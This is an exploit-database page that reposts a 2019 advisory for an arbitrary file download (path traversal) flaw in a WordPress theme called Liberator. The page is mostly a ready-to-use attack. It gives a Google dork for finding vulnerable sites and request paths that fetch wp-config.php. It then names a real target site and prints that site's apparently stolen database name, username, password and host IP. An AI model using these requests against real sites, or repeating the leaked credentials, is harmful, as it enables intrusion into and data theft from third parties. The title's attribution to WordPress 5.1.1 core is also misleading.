Advertisement






WordPress 5.1.1 Liberator Themes Arbitrary File Download

CVE Category Price Severity
CVE-2019-8943 CWE-200 Not specified Critical
Author Risk Exploitation Type Date
Exploit Alert Team High Remote 2019-03-18
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019030143

Below is a copy:

WordPress 5.1.1 Liberator Themes Arbitrary File Download
############################################################################################

# Exploit Title : WordPress 5.1.1 Liberator Themes Arbitrary File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/03/2019
# Vendor Homepage : wordpress.org ~ televox.com
# Software Information Link : televox.com/website-design/
televox.com/webvox/wp-content/themes/liberator/readme.txt
# Software Affected Version : 4.x - 5.x - 5.1.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:"/wp-content/themes/liberator/inc/"
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################################

# Impact :
***********
* WordPress 5.1.1 Liberator Themes is prone to a vulnerability that lets attackers download arbitrary files because the application 

fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the 

web server process and obtain potentially sensitive informations and it works for open redirection vulnerability. 

* An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized 

to have access to that information. * The software has Relative Path Traversel vulnerability and it uses external input to

construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences 

such as ".." that can resolve to a location that is outside of that directory.

############################################################################################

Vulnerable File =>

/download.php

Vulnerable Parameter => 

?download_file=

# Arbitrary File Download Exploit :
*******************************
/PATH/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME]

/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME]

/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php

Informations About MySQL Configuration File =>
*******************************************
** The name of the database for WordPress */
define('DB_NAME', '');

/** MySQL database username */
define('DB_USER', '');

/** MySQL database password */
define('DB_PASSWORD', '');

/** MySQL hostname */
define('DB_HOST', '');

############################################################################################

[+] televox.com/webvox/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php

** The name of the database for WordPress */
define('DB_NAME', 'wpwestprod');

/** MySQL database username */
define('DB_USER', 'srvwpuser');

/** MySQL database password */
define('DB_PASSWORD', '3ncrypt3d^01');

/** MySQL hostname */
define('DB_HOST', '75.78.178.16');

############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

############################################################################################

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.